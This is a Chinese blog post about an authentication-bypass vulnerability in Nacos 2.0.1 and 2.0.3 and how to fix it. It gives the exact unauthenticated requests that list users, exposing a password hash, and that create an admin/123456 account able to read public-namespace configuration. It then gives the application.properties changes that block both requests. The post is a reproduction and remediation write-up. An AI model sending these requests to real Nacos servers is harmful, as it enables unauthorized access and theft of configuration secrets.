背景

公司Nacos版本有用的2.0.1和2.0.3的都复现了身份认证的漏洞,无需认证身份就可以查看用户列表以及注册新用户,并且注册上来的新用户可以查看所有public命名空间下的配置资源!

漏洞复现

1、查看用户列表
  • URL:http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
  • 方法类型:GET
  • 返回结果:
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$gZoOI701ByEP8LatzrVyneAf4zoYAyLoCrrlegCeYkFbqgtaoBIQ."}]}

如图示:
请添加图片描述

2、用户注册

无需任何用户凭证即可新建用户,例如这里我新建admin/123456用户。

  • URL:http://ip:8848/nacos/v1/auth/users?username=admin&password=123456
  • 方法类型:POST
  • 返回结果:
{
    "code": 200,
    "message": null,
    "data": "create user ok!"
}

postman测试截图:
在这里插入图片描述
可以看到提示创建用户成功。使用账号登录可以看到所有public命名空间下的配置资源,这里登录截图就不贴出来了,大家可以自己去测试。

整改措施

通过检索,发现修改nacos的application.properties的配置可以解决这个问题,需要修改的配置内容如下:

#修改配置文件application.properties,修改以下三项:
① 将nacos.core.auth.enabled=false改为true
② 将nacos.core.auth.enable.userAgentAuthWhite=true 改为false
③ nacos.core.auth.server.identity.key=自定义的值
  nacos.core.auth.server.identity.value=自定义的值
#重启nacos:
systemctl restart nacos

经过实践,第三点自定义的值可以自己定义,和我们需要注册上nacos的服务配置没有关联。修改完上面配置后,再次尝试上述两个漏洞得到下列返回:
请添加图片描述
可以看到获取用户列表接口被禁止了。
请添加图片描述
可以看到新建用户接口也被禁止了。使用admin/123456登录系统:
请添加图片描述
此时admin用户已经没有权限查看public命名空间的配置资源了。至此nacos此次的认证漏洞算是告一段落了。

奇怪的是漏洞问题最早是2020年12月份发现的,网上博客对于这个漏洞的集中爆发讨论在21年,这2022年都快过完了没想到团队才发现这个漏洞!

道友可以在博客下方留言互相探讨学习或者关注公众号fairy with you了解更多,欢迎来撩!

在这里插入图片描述

注:本博客仅用于交流学习,不用于任何商业用途,欢迎思维碰撞。
GitHub 加速计划 / na / nacos
29.83 K
12.75 K
下载
Nacos是由阿里巴巴开源的服务治理中间件,集成了动态服务发现、配置管理和服务元数据管理功能,广泛应用于微服务架构中,简化服务治理过程。
最近提交(Master分支:3 个月前 )
4334cd16 * Support custom client configuration timeout.(#12748) * Add UT.(#12748) 10 天前
b04d2266 14 天前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐